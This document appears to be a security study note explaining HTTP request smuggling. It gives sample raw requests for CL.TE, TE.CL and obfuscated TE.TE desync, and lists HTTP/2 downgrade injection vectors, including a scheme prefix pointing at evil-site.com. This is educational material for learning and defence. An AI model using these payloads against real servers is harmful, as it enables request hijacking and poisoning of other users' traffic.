# HTTP Request smuggling

> HTTP request smuggling is a security exploit on the HTTP protocol that uses inconsistency between the interpretation of Content-Length and/or Transfer-Encoding headers between HTTP server implementations in an HTTP proxy server chain. It was first documented in 2005 by Linhart et al.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/HTTP_request_smuggling)

* [PortSwigger - Web Security Academy - HTTP request smuggling](https://portswigger.net/web-security/request-smuggling)

## How it works

* Place both `Content-Length` (CL) and `Transfer-Encoding` (TE) headers into a single HTTP request.\
  OR
* Infrastructure uses HTTP/2, but not end-to-end, e.g. FE downgrades requests to HTTP/1 for BE.

### Content-Length

> The Content-Length entity-header field indicates the size of the entity-body, in decimal number of OCTETs, sent to the recipient or, in the case of the HEAD method, the size of the entity-body that would have been sent had the request been a GET.
>
> From the [HTTP RFC (RFC2616, 14.13)](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13)

Be aware that linebreaks (`\r`) are 2 octets/bytes long.

#### Example

```http
POST / HTTP/1.1
Host: website.com
Content-Length: 11

test\r\n
123\r
```

**Calculation**

* "test": 4 bytes
* linebreak (\r\n): 2 bytes
* "123": 3 bytes
* linebreak (\r\n): 2 bytes\
  \=> Content-Length: 11

### Transfer-Encoding

> The Transfer-Encoding general-header field indicates what (if any) type of transformation has been applied to the message body in order to safely transfer it between the sender and the recipient. This differs from the content-coding in that the transfer-coding is a property of the message, not of the entity.
>
> From the [HTTP RFC (RFC2616, 14.41)](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.41)

* For this vulnerability type we're only interested in the `chunked` option.
* Each chunk starts with a hexadecimal number, determining the length of the chunk, followed by a linebreak (`\r`), followed by the acutal data (chunk), followed by another linebreak (`\r`).
* The terminating chunk has a length of `0`, an empty chunk and another linebreak, after the "empty chunk".

#### Example

```http
POST / HTTP/1.1
Host: website.com
Transfer-Encoding: chunked

4\r\n
test\r\n
3\r\n
123\r\n
0\r\n
\r
```

## Different types of request sumuggling

### CL.TE

Frontend uses `Content-Length`, backend `Transfer-Encoding`.

```http
POST / HTTP/1.1
Host: website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

* Frontend determines the request body is 13 bytes long (up to the end of "SMUGGLED").
* Backend determines the first chunk is 0 and terminates the request.\
  \=> "SMUGGLED" is then treated as the start of next request.

### TE.CL

Frontend uses `Transfer-Encoding`, backend `Content-Length`.

```http
POST / HTTP/1.1
Host: website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

* Frontend determines the request body has one 8 byte long chunk (up to the end of "SMUGGLED").
* Backend determines the request body is 3 bytes long ("8" plus 2 bytes for the following linebreak, right up until the start of "SMUGGLED").\
  \=> "SMUGGLED" is then treated as the start of the next request.

### TE.TE

Both support `Transfer-Encoding`, but the header can be obfuscated to be only processed by one of them. This leads to either `CL.TE` or `TE.CL` depending on wether frontend or backend then uses `Content-Length` instead of `Transfer-Encoding`.

#### Examples

```http
Transfer-Encoding: xchunked
Transfer-Encoding:<tab>chunked
Transfer-Encoding : chunked
[...]
```

For more examples see [PortSwigger - Web Security Academy - TE.TE behavior: obfuscating the TE header](https://portswigger.net/web-security/request-smuggling#te-te-behavior-obfuscating-the-te-header).

### HTTP/2 downgrade attacks

If HTTP/2 is not used end-to-end, but only by frontend servers, which then downgrade requests to HTTP/1 for backend servers, quite a few potential attacks are possible.

#### H2.CL

Eventhough HTTP/2 doesn't use a `Content-Length` header, some frontend servers may nevertheless copy it over when downgrading a request to HTTP/1.

#### H2.TE

Basically the same as `H2.CL`, but regarding `Transfer-Encoding` header.

#### HTTP/2 exclusive vectors

* Injecting linebreaks into HTTP/2 requests, like: `foo: bar\r\nTransfer-Encoding: chunked`
* Sending the `Host` header together with `:authority` pseudo-header may enable a range of "Host header attacks"
* Supplying ambiguous path by applying the `:path` pseudo-header twice with different values
* Injecting a HTTP/1 request line in `:method` pseudo-header, like `:method GET /whatever HTTP/1.1`
* Injecting a URL prefix into `:scheme` pseudo-header, like: `:scheme https://evil-site.com?`
* Injecting newlines into pseudo-headers, like: `:path /path HTTP/1.1\r\nTransfer-Encoding: chunked\r\nX: x`

For details, see [PortSwigger - Web Security Academy - HTTP/2-exclusive vectors](https://portswigger.net/web-security/request-smuggling/advanced/http2-exclusive-vectors).

## Further reading

* [PortSwigger - Web Security Academy - Finding HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
* [PortSwigger - Web Security Academy - Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
* [PortSwigger - Web Security Academy - Advanced request smuggling](https://portswigger.net/web-security/request-smuggling/advanced)
* [PortSwigger - Web Security Academy - Response queue poisoning](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning)
* [PortSwigger - Web Security Academy - HTTP/2-exclusive vectors](https://portswigger.net/web-security/request-smuggling/advanced/http2-exclusive-vectors)
* [PortSwigger - Web Security Academy - HTTP request tunnelling](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling)
